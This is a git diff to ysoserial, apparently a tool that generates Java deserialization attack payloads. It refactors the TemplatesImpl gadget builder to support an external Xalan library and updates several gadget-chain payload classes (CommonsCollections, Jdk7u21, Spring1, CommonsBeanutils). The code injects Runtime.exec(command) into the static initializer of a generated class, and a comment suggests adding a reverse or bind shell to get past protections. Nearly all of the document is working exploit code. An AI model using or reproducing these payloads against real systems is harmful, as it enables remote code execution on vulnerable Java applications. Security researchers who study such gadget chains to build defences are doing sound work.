diff --git a/pom.xml b/pom.xml index abdac5f..b4ec9cf 100644 --- a/pom.xml +++ b/pom.xml @@ -132,4 +132,22 @@ 4.1.4.RELEASE + + + + xalan + + + properXalan + + + + + xalan + xalan + 2.7.2 + + + + diff --git a/src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java b/src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java index 27b34d1..7d46625 100755 --- a/src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java +++ b/src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java @@ -10,14 +10,12 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; - -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload { public Object getObject(final String command) throws Exception { - final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit"); diff --git a/src/main/java/ysoserial/payloads/CommonsCollections2.java b/src/main/java/ysoserial/payloads/CommonsCollections2.java index bbfcd1c..f6c7ea4 100755 --- a/src/main/java/ysoserial/payloads/CommonsCollections2.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections2.java @@ -11,7 +11,6 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; /* Gadget chain: @@ -24,12 +23,12 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; Runtime.exec() */ -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"org.apache.commons:commons-collections4:4.0"}) public class CommonsCollections2 implements ObjectPayload> { public Queue getObject(final String command) throws Exception { - final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); diff --git a/src/main/java/ysoserial/payloads/CommonsCollections3.java b/src/main/java/ysoserial/payloads/CommonsCollections3.java index a0cf572..6216342 100755 --- a/src/main/java/ysoserial/payloads/CommonsCollections3.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections3.java @@ -17,19 +17,18 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; /* * Variation on CommonsCollections1 that uses InstantiateTransformer instead of * InvokerTransformer. */ -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"rawtypes", "unchecked", "restriction"}) @Dependencies({"commons-collections:commons-collections:3.1"}) public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { public Object getObject(final String command) throws Exception { - TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command); + Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( diff --git a/src/main/java/ysoserial/payloads/CommonsCollections4.java b/src/main/java/ysoserial/payloads/CommonsCollections4.java index 76c6f6c..3ad2147 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections4.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections4.java @@ -16,7 +16,6 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; /* @@ -28,7 +27,7 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; public class CommonsCollections4 implements ObjectPayload> { public Queue getObject(final String command) throws Exception { - TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer(String.class); diff --git a/src/main/java/ysoserial/payloads/Jdk7u21.java b/src/main/java/ysoserial/payloads/Jdk7u21.java index 342f306..398a098 100755 --- a/src/main/java/ysoserial/payloads/Jdk7u21.java +++ b/src/main/java/ysoserial/payloads/Jdk7u21.java @@ -11,7 +11,6 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; /* @@ -51,12 +50,12 @@ LinkedHashSet.readObject() Runtime.exec() */ -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies() public class Jdk7u21 implements ObjectPayload { public Object getObject(final String command) throws Exception { - final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; diff --git a/src/main/java/ysoserial/payloads/Spring1.java b/src/main/java/ysoserial/payloads/Spring1.java index f655cfb..9e0663e 100644 --- a/src/main/java/ysoserial/payloads/Spring1.java +++ b/src/main/java/ysoserial/payloads/Spring1.java @@ -15,8 +15,6 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; - /* Gadget chain: @@ -46,12 +44,12 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; */ -@SuppressWarnings({"restriction", "rawtypes"}) +@SuppressWarnings({"rawtypes"}) @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) public class Spring1 extends PayloadRunner implements ObjectPayload { public Object getObject(final String command) throws Exception { - final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); final ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index ad6b18c..683f8f4 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -4,7 +4,9 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIA import java.io.Serializable; import java.lang.reflect.Array; +import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; @@ -12,6 +14,7 @@ import java.util.Map; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; +import ysoserial.payloads.util.Gadgets.StubTransletPayload; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; @@ -24,7 +27,7 @@ import com.sun.org.apache.xml.internal.serializer.SerializationHandler; /* * utility generator functions for common jdk-only gadgets */ -@SuppressWarnings("restriction") +@SuppressWarnings({"restriction", "rawtypes", "unchecked"}) public class Gadgets { static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled @@ -71,19 +74,35 @@ public class Gadgets { map.put(key,val); return map; } + - public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { - final TemplatesImpl templates = new TemplatesImpl(); + public static Object createTemplatesImpl ( final String command ) throws Exception { + if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { + return createTemplatesImpl( + command, + Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), + Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); + } + + return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + } + + public static T createTemplatesImpl(final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { + final T templates = tplClass.newInstance(); // use template gadget class - ClassPool pool = ClassPool.getDefault(); - pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); - final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + pool.insertClassPath(new ClassClassPath(abstTranslet)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); + clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); @@ -97,4 +116,21 @@ public class Gadgets { Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } + + + public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException { + HashMap s = new HashMap(); + Reflections.setFieldValue(s, "size", 2); + + Class nodeC = Class.forName("java.util.HashMap$Node"); + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + nodeCons.setAccessible(true); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } }